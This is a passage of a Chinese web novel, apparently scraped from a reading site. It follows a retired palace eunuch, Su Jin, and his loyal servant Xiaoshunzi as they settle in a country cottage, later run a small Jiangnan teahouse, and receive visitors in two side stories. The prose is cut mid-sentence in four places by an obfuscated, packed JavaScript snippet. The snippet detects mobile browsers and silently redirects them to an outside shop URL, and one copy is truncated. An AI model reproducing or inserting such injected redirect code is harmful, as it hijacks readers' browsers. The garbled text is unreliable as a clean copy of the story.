马车停在广场边上，是一辆普通的青布马车，不大，但很干净。车夫坐在车辕上，看见他们过来，点了点头，掀开车帘。 苏瑾上了车，靠在车壁上。小顺子也上了车，坐在他旁边。 车夫甩了甩鞭子，马车动了。 轱辘轧在石板路上，发出咯噔咯噔的声音。那声音一下一下，像敲在心上。 苏瑾闭上眼睛，什么都没想。 马车走得很慢。 不知道过了多久，小顺子说：“苏公公，出城了。” 苏瑾睁开眼，掀开车帘，往外看。 外面是田野。一片一片的，望不到边。田里的麦子刚返青，绿油油的，在阳光下闪着光。远处有村庄，炊烟袅袅，有人在地里干活，有人赶着牛车慢慢走。 苏瑾看着这些，愣住了。 他二十四年没见过这些了。 他见过宫里的红墙金瓦，见过御花园的假山池沼，见过乾清宫的雕梁画栋。但他从没见过田野，没见过村庄，没见过在地里干活的人。 他看着那些麦子，那些树，那些人，忽然觉得，这个世界真大。 大得他有点害怕。 他放下车帘，靠在车壁上，又闭上眼睛。 马车继续走。 天快黑的时候，马车停了。 小顺子说：“苏公公，到了。” 苏瑾下了车，抬头看。 眼前是一座小院。院墙是土坯的，不高，上面长着青苔。院门口种着一棵枣树，光秃秃的，没有叶子。院子里有几间瓦房，不大，但看起来很结实。 小顺子说：“太后赏的。” 苏瑾点点头，走进去。 院子不大，但很干净。地上铺着青砖，扫得干干净净。院子里有一口水井，井边放着一只木桶。墙角堆着一些柴火，码得整整齐齐。 苏瑾站在院子里，看着那棵枣树。 枣树很老了，树干粗得一个人抱不过来，树皮皴裂，像老人的脸。枝丫伸向天空，光秃秃的。 他忽然想起司礼监值房窗外那棵老槐树。 那棵老槐树，他看了十九年。春天发芽，夏天长叶，秋天落叶，冬天光秃秃。一年又一年，他看着它，它看着他。 以后，看不到了。 小顺子走过来，说：“进屋看看？” 苏瑾点点头。 屋里不大，但收拾得很整齐。一张床，一张桌子，几把椅子，一个衣柜。床上铺着新被子，软软的，散发着阳光的味道。桌上放着一壶茶，几个茶杯。 苏瑾坐下来，看着这间屋子。 屋子很小，比他司礼监的值房还小。但这里不是值房，是他的家。 他的家。 这个词，他二十四年没想过了。 从九岁进宫那天起，他就没有家了。宫里没有家，只有值房，只有床铺，只有那些来来往往的人。那些人不是家人，只是同僚，只是认识的人。 现在，他有家了。 虽然很小，虽然很简陋，但这是他的。 他坐了一会儿，站起来，走到门口，看着外面的院子。 天已经黑了，月亮升起来了。月光洒在院子里，白白的，凉凉的。枣树的影子落在地上，像一幅画。 小顺子端着一碗热汤走过来，递给他。 苏瑾接过来，喝了一口。汤是热的，暖暖的。 小顺子站在他旁边，也看着外面的月亮。 过了一会儿，小顺子说：“苏公公，以后有什么打算？” 苏瑾说：“不知道。” 小顺子说：“那就在这儿住着？” 苏瑾说：“嗯。” 小顺子点点头，没再问。 苏瑾喝完汤，把碗递给他。他说：“你呢？” 小顺子愣了一下：“什么？” 苏瑾说：“你打算怎么办？” 小顺子说：“我跟着您。” 苏瑾看着他，说：“你还在宫里当差。” 小顺子说：“不当了。” 苏瑾说：“为什么？” 小顺子说：“您都不在了，我还留在那儿干什么？” 苏瑾沉默了一会儿，说：“小顺子，你才二十岁。” 小顺子说：“我知道。” 苏瑾说：“还有很长的路要走。” 小顺子说：“我知道。” 苏瑾说：“别因为我……” 小顺子打断他：“苏公公，您别说了。”他看着苏瑾，眼眶有点红，“您救过我的命。那年我快饿死了，是您给我一碗饭。您不记得，我记得。” 苏瑾没说话。 小顺子说：“您在哪，我在哪。这话我说过的。” 苏瑾看着他，过了很久，才说：“那你就住下吧。” 小顺子笑了。 夜深了。 苏瑾躺在床上，睡不着。 床很软，被子很暖，但他睡不着。 他习惯了值房那张硬板床，习惯了半夜有人敲门，习惯了听着外面的脚步声入睡。现在太安静了，安静得他害怕。 他睁着眼睛，看着房顶。 房顶是木头做的，一根一根的檩条，上面铺着苇箔。月光从窗户透进来，照在房顶上，影影绰绰的。 他想起今天出宫的时候，站在午门口，看了很久。 他不知道以后还能不能回去。 也许能，也许不能。 但他知道，他不想回去。 那个地方，他待了二十四年，够了。 他想在外面待着。 哪怕只是待着，也比在宫里强。 第二天一早，李富来了。 苏瑾正在院子里站着，听见敲门声，小顺子去开门。过了一会儿，小顺子回来说：“李掌柜来了。” 苏瑾点点头。 李富走进来，拱了拱手，说：“苏公公，别来无恙？” 苏瑾说：“李掌柜。” 李富看看院子，看看那棵枣树，笑了：“这地方还行吧？” 苏瑾说：“多谢李掌柜。宅子的事，辛苦你了。” 李富摆摆手：“小事。您的事，就是我的事。”他从怀里掏出几张纸，递给苏瑾，“这是房契，这是地契。您收好。写的是我的名字，但地契上做了手脚，查不到您头上。” 苏瑾接过来，看了一眼，收进怀里。 李富说：“银子都存好了，老周应该把票号给您了吧？” 苏瑾说：“给了。” 李富点点头：“那就好。还有什么需要帮忙的，您尽管说。” 苏瑾想了想，说：“想种点东西。” 李富愣了一下，然后笑了：“种什么？” 苏瑾说：“菜。韭菜，菠菜，小白菜。” 李富点点头：“行，我回头让人送种子来。”他顿了顿，看着苏瑾，“苏公公，您往后就打算在这儿……种菜？” 苏瑾说：“嗯。” 李富看着他，眼神里有些东西。过了会儿，他说：“那也好。清静。” 苏瑾没说话。 李富拱拱手，走了。 种子送来了。还有锄头、铲子、水桶。 苏瑾和小顺子一起，把院子里的地翻了翻，撒上种子，浇上水，天天看着。 种子发芽了，长出绿油油的小苗。小苗慢慢长大，变成韭菜，变成菠菜，变成小白菜。 苏瑾蹲在地边，看着那些菜，心里有一种奇怪的感觉。 这些是他种的。 是他亲手种的。 他以前在宫里，只见过御花园的花草树木，那些都是花匠种的，跟他没关系。现在这些菜，是他自己种的，是他自己的。 小顺子站在他旁边，说：“苏公公，这韭菜长得真好。” 苏瑾说：“嗯。” 小顺子说：“再过几天就能吃了。” 苏瑾说：“你吃过韭菜盒子吗？” 小顺子说：“吃过。以前在宫里，御膳房做的，可好吃了。” 苏瑾说：“那咱们也做。” 小顺子笑了：“我不会。” 苏瑾说：“学。” 小顺子说：“行，学。” 两个人蹲在地边，看着那些韭菜，笑了起来。 这天下午，老周来了。 他是傍晚来的，穿着一身便服，站在院子门口，敲了敲门。 小顺子开了门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459035|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见他，愣了一下，然后侧身让开：“周公公。” 老周走进去，看见苏瑾坐在枣树下，看着他。 老周走过来，在他旁边坐下。他看着苏瑾身上的伤，沉默了一会儿，说：“苏公公，您受苦了。” 苏瑾说：“没事。” 老周说：“我听说您出来了，就来看看。” 苏瑾说：“谢谢你，老周。” 老周摆摆手：“谢什么。”他顿了顿，“宫里的事，您听说了吗？” 苏瑾说：“没听说。” 老周说：“张谦益死了。太后让他自尽了。” 苏瑾没说话。 老周说：“魏忠也死了。太后查了他，定了死罪，砍了头。” 苏瑾还是没说话。 老周看着他，说：“您不高兴？” 苏瑾说：“高兴不起来。” 老周说：“为什么？” 苏瑾看着远处的枣树，说：“他们死了，还会有别人。” 老周沉默了一会儿，然后点点头：“您说得对。”他站起来，“我走了。您保重。” 苏瑾点点头。 老周走了几步，又回头看了一眼。他说：“苏公公，您这条命，是捡回来的。好好活着。” 苏瑾说：“我知道。” 老周走了。 日子一天一天过去。 苏瑾每天在院子里种菜，浇水，除草。韭菜割了一茬又长一茬，菠菜拔了一拨又一拨。他学会了做韭菜盒子，虽然做得不好吃，但小顺子说好吃。 小顺子每天陪着他，给他做饭，陪他说话。他有时候讲宫里的事，有时候讲小时候的事，有时候什么都不讲，就那么坐着。 苏瑾看着他，觉得这日子，也挺好。 虽然简单，虽然平淡，但踏实。 不用提心吊胆，不用算计来算计去，不用看别人脸色。 就这样活着，挺好。 这天晚上，苏瑾坐在院子里，看着天上的月亮。 月亮很圆，很亮，照得院子里一片白。枣树的影子落在地上，像一幅画。 小顺子端着一碗热汤走过来，放在他旁边。 苏瑾端起碗，喝了一口。汤是热的，暖暖的。 小顺子在他旁边坐下，也看着天上的月亮。 过了一会儿，小顺子说：“苏公公，您在想什么？” 苏瑾说：“没想什么。” 小顺子说：“您骗人。” 苏瑾看着他，说：“你怎么知道我骗人？” 小顺子说：“您每次想事情，眼睛就眯起来。您现在眼睛眯着。” 苏瑾愣了一下，然后笑了。他说：“你倒是观察得仔细。” 小顺子说：“那是。我天天跟着您。” 苏瑾没说话。 他看着天上的月亮，忽然说：“小顺子，你说，太后还能活多久？” 小顺子愣住了。 苏瑾说：“她活着，我这命就不是自己的。” 小顺子沉默了一会儿，说：“那您就等着？” 苏瑾说：“嗯。等着。” 小顺子说：“等多久？” 苏瑾说：“不知道。也许几年，也许十几年。” 小顺子说：“那我陪您等。” 苏瑾看着他。 小顺子说：“您等到什么时候，我就陪到什么时候。” 苏瑾看了他很久，然后说：“小顺子，你知道吗，我在宫里二十四年，从来没遇到过像你这样对我好的人。” 小顺子说：“那是因为您以前没遇到。” 苏瑾笑了。 夜深了。 月亮升到了中天，照得院子里一片白。 苏瑾站起来，走回屋里。 小顺子跟着他走进去。 苏瑾躺在床上，闭上眼睛。 小顺子在地上打了个地铺，也躺下了。 过了一会儿，小顺子说：“苏公公，您睡着了吗？” 苏瑾说：“没有。” 小顺子说：“我也睡不着。” 苏瑾说：“为什么？” 小顺子说：“我在想，明天吃什么。” 苏瑾笑了。他说：“你倒是想得远。” 小顺子说：“那当然。您身体不好，得吃好点。” 苏瑾说：“行，你想着吧。” 小顺子说：“嗯。” 屋里安静下来。 窗外的月光透进来，照在地上，白白的，凉凉的。 苏瑾看着那片月光，忽然想起小时候，在家乡，也看过这样的月光。 那时候他还小，躺在娘怀里，娘给他讲故事。讲牛犁织女，讲嫦娥奔月，讲那些他听不懂的事。 现在，娘不在了，家乡也回不去了。 但他还活着。 活着，就够了。 他闭上眼睛，慢慢睡着了。 这一夜，他没做梦。 --- 12. 江南 三年后。 江南，某小镇。 这个小镇很小，只有一条街，从东走到西，用不了一炷香的工夫。街两边是一些铺子，杂货铺，布庄，铁匠铺，茶馆。再往外，就是一片一片的水田，种着水稻，绿油油的，望不到边。 小镇的东头，有一家茶馆。 茶馆不大，只有四五张桌子，收拾得很干净。门口挂着一块木匾，上面写着三个字：“来喝茶”。字写得不好，歪歪扭扭的，但看着亲切。 茶馆的老板是个四十来岁的中年人，脸上有一道淡淡的疤痕，不爱说话。每天天不亮就起来，烧水，泡茶，擦桌子。有人来喝茶，他就起身招呼；没人来，他就坐在柜台后面，拨弄着算盘珠子，看着窗外的河水发呆。 没人知道他从哪里来，叫什么名字。他自称姓陈，大家就叫他陈掌柜。 陈掌柜人很和气，茶也不贵，两文钱一碗，还可以续水。镇上的老人没事就来坐坐，喝碗茶，聊聊天，一坐就是半天。 陈掌柜很少说话，但听得很认真。谁家儿子娶媳妇了，谁家女儿生娃了，谁家地里收成好了，他都听着，偶尔点点头，偶尔笑一笑。 有时候，有从北边来的客人，说起京城里的事。说新君如何如何，说朝堂如何如何，说某某大人又倒了。他也听着，不插话，偶尔笑一笑。 没人知道，他曾经是司礼监秉笔太监。 没人知道，他曾经离皇权那么近。 没人知道，他脑子里那本账，记着多少人的命。 他就是陈掌柜，一个普通的茶馆老板。 这天下午，茶馆里来了个人。 是个年轻人，二十出头，风尘仆仆，一看就是远道而来。他穿着一身粗布衣裳，背着个包袱，脸晒得黑红的，眼睛里却有一种亮亮的光。 他走进茶馆，四处看了看，然后目光落在柜台后面那个人身上。 那个人正低着头拨弄算盘珠子，没注意到他。 年轻人站在那里，一动不动。 过了好一会儿，他走过去，走到柜台前面，站住。 那个人抬起头，看着他。 两个人对视。 年轻人的眼眶红了。他张了张嘴，想说话，却说不出来。 那个人看着他，愣了一会儿。然后他放下算盘，站起来，说：“客官，喝茶？” 年轻人没说话。 那个人又说：“坐吧。茶两文钱一碗。” 年轻人还是没说话。他忽然跪了下去，直直地跪在地上，磕了一个头。 茶馆里其他人都愣住了，看着这边。 那个人也愣住了。他低头看着跪在地上的年轻人，看了很久。 然后他笑了，笑得和当年一样淡。 “起来吧。”他说。 年轻人没起来。他跪在地上，抬起头，看着那个人。眼泪流了下来，流了满脸。 “苏公公……”他说，“我找了您三年。” 那个人看着他，说：“我知道。” 年轻人说：“您怎么知道是我？” 那个人说：“你走路的样子，没变。” 年轻人愣住了。然后他笑了，笑着笑着，又哭了。 那个人从柜台后面走出来，把他扶起来。他说：“别哭了。让人笑话。” 年轻人擦了擦眼泪，点点头。 那个人说：“坐吧。喝茶。” 年轻人跟着他走到靠窗的一张桌子前，坐下。 那个人去泡茶。他泡了两碗，端过来，放在桌上。一碗推给年轻人，一碗自己端着。 年轻人端起碗，喝了一口。茶是粗茶，有点涩，但能喝。 他说：“苏公公，您怎么在这儿？” 那个人说：“这儿好。” 年轻人说：“您这几年怎么过的？” 那个人说：“就这样过的。” 年轻人看着他，看着他脸上的疤痕，看着他眼角的皱纹，看着他比从前更瘦的身子。他说：“您受苦了。” 那个人说：“没有。比宫里强。” 年轻人沉默了。 他知道他说的是真的。宫里那二十四年，才是受苦。这里，是享福。 那个人看着他，说：“小顺子，你怎么找到这儿的？” 小顺子说：“我找了三年。先去了您的老家，您不在。又去了您以前说过的地方，都不在。后来遇到李掌柜，他说您可能在江南。我就一路找过来。” 那个人说：“找了三年？” 小顺子说：“嗯。三年零两个月。” 那个人沉默了一会儿，说：“你不该来。” 小顺子说：“为什么？” 那个人说：“我这条命，是太后给的。她随时可以收回去。你来了，也会被她盯上。” 小顺子说：“太后死了。” 那个人愣住了。 小顺子说：“去年冬天死的。新君登基了。” 那个人沉默了很久。 然后他说：“新君……是谁？” 小顺子说：“就是当年那个小皇帝。现在十五岁了，亲政了。” 那个人说：“他……怎么样？” 小顺子说：“挺好的。比先帝稳重，比他娘宽厚。他登基以后，赦了不少人。” 那个人点点头，没再问。 小顺子说：“苏公公，您可以回去了。” 那个人说：“回去？回哪儿？” 小顺子说：“回京。新君说过，当年那些事，都过去了。您想回去，可以回去。” 那个人看着窗外，看着那条河，看着河边的柳树，看着远处的水田。过了好一会儿，他说：“不回了。” 小顺子愣住了：“为什么？” 那个人说：“这儿挺好。” 小顺子说：“可是……” 那个人打断他：“小顺子，你知道我这一辈子，最想要的是什么吗？” 小顺子摇摇头。 那个人说：“是没人认识我。” 小顺子愣住了。 那个人说：“在宫里二十四年，谁都知道我。先帝知道，新君知道，太后知道，张谦益知道，魏忠知道。他们都知道我，都防着我，都想杀我。我活得太累了。” 小顺子沉默着。 那个人说：“现在好了。没人认识我。没人知道我是谁。我就是陈掌柜，一个开茶馆的。每天烧水，泡茶，擦桌子，拨算盘。看着河水发呆，听着客人聊天。挺好。” 小顺子看着他，眼眶又红了。 他说：“苏公公，您一个人，不孤单吗？” 那个人说：“习惯了。” 小顺子说：“那……那我陪您。” 那个人看着他，说：“你陪我？” 小顺子说：“嗯。我不回去了。我陪您在这儿，给您帮忙。我什么都能干，烧水，泡茶，擦桌子，都会。” 那个人看了他很久。 然后他笑了，笑得和当年一样淡。 他说：“随你。” 小顺子也笑了。 窗外，太阳慢慢落下去了。河水被染成金黄色，慢慢流着，一去不回头。 茶馆里，两个人在窗边坐着，喝着茶，不说话。 偶尔有客人进来，那个人就起身招呼。客人走了，他又坐回来。 小顺子看着他，觉得他变了。 变老了，变瘦了，变沉默了。但眼睛里有一种从前没有的东西——平静。 那种平静，是在宫里永远都得不到的。 天黑了。 那个人站起来，说：“关门吧。” 小顺子跟着他，把门板一块一块装好。 装完了，两个人站在门口，看着外面的夜色。 月亮升起来了，照在小镇的青石板路上，白白的，凉凉的。远处传来狗叫声，一声两声，慢慢远了。 那个人说：“走吧，回家。” 小顺子说：“好。” 两个人转身，走进院子里。 院子不大，有一棵枣树，结着青青的果子。墙角种着几畦菜，韭菜，菠菜，小白菜，绿油油的。 小顺子看着那些菜，说：“您种的？” 那个人说：“嗯。” 小顺子说：“长得真好。” 那个人说：“明天割点韭菜，做盒子。” 小顺子笑了。他说：“您会做吗？” 那个人说：“会。学了三年了。” 小顺子说：“那明天尝尝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459036|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两个人走进屋里。 屋里很简单，一张床，一张桌子，几把椅子，一个衣柜。桌上放着一盏油灯，点着了，昏黄的光照着小小的屋子。 那个人在床上坐下，说：“你睡哪儿？” 小顺子说：“我打地铺。” 那个人说：“有床。” 小顺子说：“您睡床，我打地铺。习惯了。” 那个人没再说话。 小顺子在地上铺了褥子，躺下。 油灯吹灭了，屋里黑了。 月光从窗户透进来，照在地上，白白的，凉凉的。 过了一会儿，小顺子说：“苏公公，您睡着了吗？” 那个人说：“没有。” 小顺子说：“我在想，明天吃什么。” 那个人笑了。他说：“你老想这个。” 小顺子说：“那是。您身体不好，得吃好点。” 那个人说：“行，你想着吧。” 小顺子说：“嗯。” 屋里安静下来。 过了一会儿，小顺子又说：“苏公公，您高兴吗？” 那个人说：“什么？” 小顺子说：“我来了，您高兴吗？” 那个人沉默了一会儿，说：“高兴。” 小顺子笑了。他说：“我也高兴。” 那个人没说话。 窗外的月光，照在他脸上。他的嘴角，微微翘着。 第二天一早，小顺子醒来的时候，那个人已经起来了。 他坐在院子里，看着那棵枣树发呆。 小顺子走过去，说：“苏公公，您起这么早？” 那个人说：“习惯了。” 小顺子说：“我去烧水。” 他走进厨房，生火烧水。水开了，泡了两碗茶，端出来。 那个人接过碗，喝了一口。 小顺子在他旁边坐下，也喝着茶。 太阳慢慢升起来了，照在院子里，暖洋洋的。枣树上落着几只麻雀，叽叽喳喳叫着。 小顺子说：“苏公公，今天干什么？” 那个人说：“开门，做生意。” 小顺子说：“那我干什么？” 那个人说：“帮忙。” 小顺子说：“行。” 两个人喝完茶，站起来，去卸门板。 门板卸完了，茶馆开了。 街上渐渐热闹起来。有挑着担子卖菜的，有赶着牛车送货的，有牵着孩子逛街的。有人看见茶馆开了，走进来，要碗茶，坐下聊天。 那个人在柜台后面坐着，拨弄着算盘珠子。 小顺子忙前忙后，端茶倒水，擦桌子扫地。 客人走了，又来了。来了，又走了。 太阳从东边升到头顶，又从头顶落到西边。 天黑了，关门了。 两个人坐在院子里，看着月亮。 小顺子说：“苏公公，今天卖了多少钱？” 那个人说：“三十二文。” 小顺子说：“不少。” 那个人说：“够吃饭。” 小顺子笑了。 他看着那个人，看着他脸上的平静，忽然觉得，这样挺好。 虽然没有宫里的荣华富贵，但也没有宫里的刀光剑影。 就这样活着，挺好。 那个人看着月亮，忽然说：“小顺子。” 小顺子说：“嗯？” 那个人说：“你知道那棵枣树，什么时候结果吗？” 小顺子说：“秋天吧。” 那个人说：“秋天的时候，枣红了，咱们打枣吃。” 小顺子说：“好。” 那个人说：“打了枣，晒干了，可以泡茶。” 小顺子说：“好。” 那个人说：“冬天的时候，坐在屋里，喝着枣茶，看着雪，挺好。” 小顺子说：“好。” 那个人笑了。 他看着天上的月亮，想着秋天的时候，枣红了，打枣吃。 想着冬天的时候，下雪了，喝着枣茶，看着雪。 想着以后的日子，就这样，一天一天过下去。 挺好。 --- 13. 枣红[番外] 苏瑾说，等枣红了，就打枣吃。 小顺子一直记着这句话。 从春天等到夏天，从夏天等到秋天。枣树从光秃秃到长出叶子，从开出小花到结出青果。那些青果一天天变大，一天天变红，终于有一天，满树的枣子都红了，红得像一盏盏小灯笼。 那天早上，小顺子站在枣树下，仰着头数了半天，跑进屋说：“苏公公，枣红了！” 苏瑾正在屋里拨算盘。他放下算盘，走到院子里，站在枣树下，也仰着头看。 看了一会儿，他说：“打吧。” 小顺子早就准备好了。他扛来一根长竹竿，举起来，对着树枝敲。 啪啪啪，枣子掉下来，落在院子里，蹦蹦跳跳，滚得到处都是。有的滚到墙角，有的滚到水井边，还有一颗直接掉进了水桶里，噗通一声。 苏瑾蹲在地上，一颗一颗捡。捡起来的枣子，红彤彤的，圆滚滚的，有的上面还带着露水。他拿起一颗，在衣服上擦了擦，咬了一口。 甜的。脆的。汁水在嘴里炸开。 小顺子打完枣，也蹲下来捡。他一边捡一边吃，吃得满嘴都是。他说：“苏公公，这枣真甜。” 苏瑾说：“嗯。” 小顺子说：“比御膳房的还甜。” 苏瑾笑了：“御膳房的枣，是进贡的。” 小顺子说：“那您说哪个甜？” 苏瑾想了想，说：“这个甜。” 小顺子也笑了。 两个人捡了半个时辰，捡了满满一篮子。苏瑾把枣子倒在桌上，一颗一颗挑。红的放一堆，青的放一堆，烂的扔掉。 小顺子坐在旁边，看着他挑。他说：“苏公公，您挑这么仔细干什么？” 苏瑾说：“红的晒干了泡茶，青的腌了吃。” 小顺子说：“您还会腌枣？” 苏瑾说：“不会。学。” 接下来的几天，苏瑾忙着晒枣。 他把红的枣子洗干净，铺在竹匾里，端到院子里晒。太阳好的时候晒，太阳落山了收进来。晒了三天，枣子皱了，干了，变成了暗红色。 他把干枣收进坛子里，封好口，放在墙角。 小顺子问：“这就好了？” 苏瑾说：“好了。冬天泡茶喝。” 小顺子说：“那青的呢？” 苏瑾说：“腌。” 他找了一个小坛子，把青的枣子洗干净，放进去。撒上一层盐，再放一层枣，再撒一层盐。最后倒进去一些凉白开，封好口，放在阴凉的地方。 小顺子看着，说：“这样就能吃了？” 苏瑾说：“等半个月。” 半个月后，小顺子打开坛子，拿出一颗青枣，咬了一口。酸的，咸的，脆的。他嚼了嚼，眼睛亮了：“苏公公，好吃！” 苏瑾也拿了一颗，咬了一口。嚼了嚼，点点头：“还行。” 小顺子说：“还行？这哪是还行，这太好吃了。” 他又拿了一颗，塞进嘴里。 苏瑾说：“留点，冬天吃。” 小顺子说：“冬天还有？” 苏瑾说：“有。坛子里还有一半。” 小顺子把坛子封好，放回原处。 --- 冬天很快就来了。 第一场雪下的时候，苏瑾坐在屋里，生了个小火炉。炉子上坐着一壶水，水开了，咕嘟咕嘟冒着热气。 他打开那个装干枣的坛子，抓了一把干枣，放进茶壶里。倒上开水，盖上盖，闷了一会儿。 茶泡好了，倒进碗里，红红的，冒着热气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459037|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他端起来，喝了一口。甜的，暖的，从嘴里一直暖到心里。 小顺子也端着一碗，喝了一口。他说：“苏公公，这茶真好喝。” 苏瑾说：“嗯。” 小顺子说：“比茶馆卖的茶好喝。” 苏瑾说：“茶馆的茶是卖的，这个是自家晒的。” 小顺子说：“那以后咱们年年晒。” 苏瑾说：“好。” 窗外，雪还在下。雪花飘下来，落在枣树上，积了厚厚一层。枣树光秃秃的，枝丫上压满了雪，像披着一件白袍子。 屋里，小火炉烧得正旺。两个人坐在炉边，喝着枣茶，看着窗外的雪。 小顺子忽然说：“苏公公，您说，明年枣树还能结这么多吗？” 苏瑾说：“能。” 小顺子说：“那后年呢？” 苏瑾说：“也能。” 小顺子说：“那大后年呢？” 苏瑾看着他，说：“你想那么远干什么？” 小顺子说：“我想着，年年都能喝上您泡的枣茶。” 苏瑾沉默了一会儿。然后他说：“会的。” 小顺子笑了。 他端起碗，又喝了一口。茶已经不烫了，温温的，刚刚好。 他忽然说：“苏公公，您说，宫里的雪，跟这里的雪，是一样的吗？” 苏瑾愣了一下。 他想了一会儿，说：“一样的。” 小顺子说：“那为什么我觉得这里的雪好看？” 苏瑾说：“因为你不用在雪地里跪着。” 小顺子想了想，点点头：“对。” 两个人都不说话了。 窗外的雪，一直下着。 屋里，枣茶的香气，弥漫开来。 --- 14. 客来[番外] 这天下午，茶馆里来了个陌生人。 那人四十来岁，穿着一身青布长衫，像个教书先生。他走进茶馆，四处看了看，然后在靠窗的桌子前坐下。 小顺子走过去，说：“客官喝什么茶？” 那人说：“随便。” 小顺子说：“我们这儿有龙井，有碧螺春，有瓜片，还有自家晒的枣茶。” 那人说：“枣茶？什么枣茶？” 小顺子说：“就是自家枣树上结的枣，晒干了泡的茶。您尝尝？” 那人点点头：“行。” 小顺子去泡茶。泡好了，端过来，放在桌上。 那人端起碗，喝了一口。他愣了一下，又喝了一口。然后他放下碗，说：“这茶，好喝。” 小顺子笑了：“那是。我们掌柜的亲手晒的。” 那人说：“你们掌柜的？” 小顺子指了指柜台后面。 那人顺着他的手指看过去，看见一个人正低着头拨算盘。那人穿着一身灰布衣裳，脸上有一道淡淡的疤痕，看起来很普通。 那人看了很久。 然后他站起来，走到柜台前面，站住。 苏瑾抬起头，看着他。 两个人对视。 那人忽然笑了。他说：“苏公公，好久不见。” 苏瑾愣了一下。他看着那人，看了很久。然后他站起来，说：“王大人。” 是王世安。 王世安变了，比以前老了一些，头发白了一半，但眼睛还是那样，亮亮的，干干净净的。他穿着一身普通的长衫，像个教书先生，不像当朝首辅。 苏瑾说：“王大人怎么来了？” 王世安说：“路过。顺便来看看你。” 苏瑾说：“坐吧。” 王世安回到窗边坐下。苏瑾也走过来，在他对面坐下。小顺子端了两碗茶过来，退到一边。 王世安端起碗，喝了一口。他说：“这茶真好喝。” 苏瑾说：“自家晒的。” 王世安点点头：“我知道。”他看着窗外，看着那条河，看着河边的柳树，看着远处的水田。他说：“这地方真好。” 苏瑾说：“嗯。” 王世安说：“我找了你好久。” 苏瑾说：“找我干什么？” 王世安说：“想看看你过得怎么样。” 苏瑾说：“挺好的。” 王世安看着他，看着他脸上的疤痕，看着他眼角的皱纹，看着他比从前更平静的眼神。他说：“你瘦了。” 苏瑾说：“瘦点好。” 王世安笑了。他说：“你还是这样，不爱说话。” 苏瑾没说话。 王世安说：“京城里的事，你知道吗？” 苏瑾说：“不知道。” 王世安说：“新君很好。比先帝稳重，比他娘宽厚。他把那些年的旧案都翻了，该平反的平反，该赦免的赦免。你的事，他也知道。” 苏瑾说：“他知道？” 王世安说：“嗯。他说，苏瑾这个人，不容易。” 苏瑾沉默了一会儿，说：“多谢。” 王世安说：“他还说，如果你想回去，随时可以回去。” 苏瑾看着窗外，看着那条河，看着河边的柳树，看着远处的水田。过了好一会儿，他说：“不回了。” 王世安说：“为什么？” 苏瑾说：“这儿挺好。” 王世安看着他，看了很久。然后他说：“我猜你也不会回去。” 苏瑾说：“你怎么知道？” 王世安说：“因为你从来就不是贪恋权位的人。” 苏瑾没说话。 王世安端起碗，喝了一口茶。他说：“你知道吗，有时候我也想过你这样的日子。” 苏瑾说：“你过不了。” 王世安笑了。他说：“是啊，我过不了。”他顿了顿，“我这个人，闲不下来。一闲下来，就浑身不舒服。” 苏瑾说：“那就别闲。” 王世安说：“对，所以我还在朝里待着。”他看着苏瑾，“不过说真的，你这儿真好。我来了一趟，都不想走了。” 苏瑾说：“那就多待几天。” 王世安说：“不行。明天就得回去。朝里一堆事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459038|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏瑾说：“那下次再来。” 王世安说：“好。”他站起来，走到窗前，看着外面的河，“苏瑾，你知道我为什么来找你吗？” 苏瑾说：“不知道。” 王世安说：“我想谢谢你。” 苏瑾说：“谢我？” 王世安说：“当年如果不是你，我当不上这个官。如果不是你，我可能早就被人害了。你帮了我很多。” 苏瑾说：“我没帮你什么。” 王世安转过身，看着他，说：“你帮了。你知道，但你不说。” 苏瑾没说话。 王世安走回来，坐下。他说：“我这次来，还想问你一件事。” 苏瑾说：“什么事？” 王世安说：“你以后有什么打算？” 苏瑾说：“没什么打算。就这样过。” 王世安说：“就这样过一辈子？” 苏瑾说：“嗯。” 王世安说：“不后悔？” 苏瑾说：“不后悔。” 王世安看着他，看了很久。然后他点点头，说：“好。” 他站起来，说：“我该走了。” 苏瑾也站起来，送他到门口。 